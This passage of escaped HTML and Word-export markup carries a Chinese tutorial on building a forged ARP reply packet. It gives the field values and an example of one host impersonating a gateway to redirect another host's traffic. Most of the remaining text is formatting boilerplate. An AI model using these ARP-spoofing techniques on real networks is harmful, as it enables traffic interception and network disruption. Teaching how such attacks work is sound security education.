name=&quot;annotation subject&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;No List&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Balloon Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;\/w:latentstyles&gt;&lt;\/xml&gt;&lt;![endif]--&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;mso-list:l0 level1 lfo1;&quot;&gt;\n\t&lt;span style=&quot;font-size:16.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&lt;span style=&quot;mso-list:Ignore;&quot;&gt;\u4e8c\u3001&lt;\/span&gt;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:16.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u586b\u5145&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5305&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;mso-list:l1 level1 lfo2;&quot;&gt;\n\t&lt;span style=&quot;font-size:14.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&lt;span style=&quot;mso-list:Ignore;&quot;&gt;1.&lt;\/span&gt;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:14.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;ARP&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5e94\u7b54\u5305&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u60f3\u5fc5\u5728&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u6b3a\u9a97\u653b\u51fb\u4e2d\uff0c\u5927\u5bb6\u6700\u5e38\u7528\u7684\u5c31\u662f\u53d1\u9001&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5e94\u7b54\u5305\u4e86\uff0c\u76ee\u6807\u8bbe\u5907\u4f1a\u6839\u636e&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5e94\u7b54\u5305\u4e2d\u4f2a\u9020\u7684\u53d1\u9001\u65b9&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u548c\u53d1\u9001\u65b9&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;IP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e24\u4e2a\u5b57\u6bb5\u6765\u4fee\u6539\u81ea\u5df1\u7684&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u52a8\u6001\u7f13\u5b58\u8868\u3002\u90a3\u4e48\u6211\u4eec\u5c31\u6765\u770b\u4e00\u4e0b&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5e94\u7b54\u5305\u662f\u5982\u4f55\u6784\u9020\u7684\uff0c\u5e76\u5c1d\u8bd5\u81ea\u5df1\u4f2a\u9020\u4e00\u4e2a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5e94\u7b54\u5305\u3002&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u9996\u5148\u586b\u5145\u4ee5\u592a\u7f51\u5934\u90e8\uff0c\u63a5\u6536\u65b9&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u81ea\u7136\u662f\u76ee\u6807\u7684&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5730\u5740\u4e86\uff0c\u53d1\u9001\u65b9&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e0d\u4e00\u5b9a\u5c31\u975e\u8981\u586b\u81ea\u5df1\u7684&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff0c\u6bd4\u5982\u5728&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u65ad\u7f51\u653b\u51fb\u4e2d\uff0c\u53d1\u9001\u65b9&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u662f\u53ef\u4ee5\u968f\u610f\u4f2a\u9020\u7684\u3002\u5e27\u7c7b\u578b\u81ea\u7136\u586b\u5145\u7684\u662f&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5e27\u7684\u503c&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;0x0806&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff0c\u82e5\u662f&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;IP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5e27\u5219\u6b64\u5904\u5e94\u586b\u5145&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;0x0800&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u3002&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u63a5\u4e0b\u6765\u586b\u5145&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5e27\uff0c\u7531\u4e8e\u6211\u4eec\u8981\u6784\u9020\u7684\u662f&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5e94\u7b54\u5305\uff0c\u6240\u4ee5\u5728&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5305\u7c7b\u578b\u5b57\u6bb5\u4e2d\u5e94\u586b\u5145\u7684\u503c\u662f&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;0x2&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff0c\u82e5\u8981\u6784\u9020\u8bf7\u6c42\u5305\uff0c\u5219\u6b64\u5904\u586b\u5145\u7684\u503c\u4e3a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;0x1&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u3002\u5176\u4e2d\u53d1\u9001\u65b9&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u548c\u63a5\u6536\u65b9&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u548c\u4ee5\u592a\u7f51\u5934\u4e2d\u586b\u5145\u7684\u503c\u662f\u4e00\u6837\u7684\u3002&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u6700\u540e\u7ed9\u51fa\u4e00\u4e2a\u5229\u7528&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5e94\u7b54\u5305\u6b3a\u9a97\u7684\u4f8b\u5b50\uff0c\u6bd4\u5982&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;A&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u548c&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;B&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u5904\u4e8e\u540c\u4e00\u7f51\u5173\u4e0b\uff1a&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;A&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff1a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;aaaaaaaaaaaa&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff0c&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;IP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff1a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;192.168.0.2&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;B&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff1a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;bbbbbbbbbbbb&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff0c&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;IP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff1a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;192.168.0.3&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u7f51\u5173&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff1a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;xxxxxxxxxxxx&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff0c&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;IP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff1a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;192.168.0.1&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\u82e5&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;A&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u60f3\u5192\u5145\u7f51\u5173\uff0c\u8ba9&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;B&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u53d1\u9001\u7ed9\u7f51\u5173\u7684\u6570\u636e\u53d1\u9001\u81f3\u81ea\u5df1\uff0c\u90a3\u4e48&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;A&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u53ef\u4ee5\u5411&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;B&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u53d1\u9001\u5982\u4e0b\u7684&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5e94\u7b54\u5305\uff1a&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p&gt;\n\t&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/156005c5baf40ff51a327f1c34f2975b20140124160459.jpg&quot; id=&quot;ematt:129&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-156005c5baf40ff51a327f1c34f2975b20140124160459.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; \/&gt;&lt;\/a&gt;\n&lt;\/p&gt;\n&lt;p&gt;\n\t&nbsp;\n&lt;\/p&gt;\n&lt;p&gt;\n\t&lt;!--[if gte mso 9]&gt;&lt;xml&gt;&lt;w:worddocument&gt;&lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;\/w:browserlevel&gt;&lt;w:displayhorizontaldrawinggridevery&gt;0&lt;\/w:displayhorizontaldrawinggridevery&gt;&lt;w:displayverticaldrawinggridevery&gt;2&lt;\/w:displayverticaldrawinggridevery&gt;&lt;w:documentkind&gt;DocumentNotSpecified&lt;\/w:documentkind&gt;&lt;w:drawinggridverticalspacing&gt;7.8&lt;\/w:drawinggridverticalspacing&gt;&lt;w:view&gt;Normal&lt;\/w:view&gt;&lt;w:compatibility&gt;&lt;w:dontgrowautofit \/&gt;&lt;\/w:compatibility&gt;&lt;w:zoom&gt;0&lt;\/w:zoom&gt;&lt;\/w:worddocument&gt;&lt;\/xml&gt;&lt;![endif]--&gt;\n&lt;\/p&gt;\n&lt;p&gt;\n\t&lt;!--[if gte mso 9]&gt;&lt;xml&gt;&lt;w:latentstyles deflockedstate=&quot;false&quot; defunhidewhenused=&quot;true&quot; defsemihidden=&quot;true&quot; defqformat=&quot;false&quot; defpriority=&quot;99&quot; latentstylecount=&quot;156&quot;&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 1&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 6&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 7&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 8&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 9&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 1&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 6&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 7&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 8&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 9&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 1&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 6&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 7&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 8&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 9&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal Indent&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;footnote text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;annotation text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;header&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;footer&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index heading&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;caption&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;table of figures&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;envelope address&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;envelope return&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;footnote reference&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;annotation reference&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;line number&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;page number&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;endnote reference&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;endnote text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;table of authorities&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;macro&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toa heading&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Title&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Closing&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Signature&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Default Paragraph Font&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text Indent&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Message Header&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Subtitle&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Salutation&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Date&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text First Indent&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text First Indent 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Note 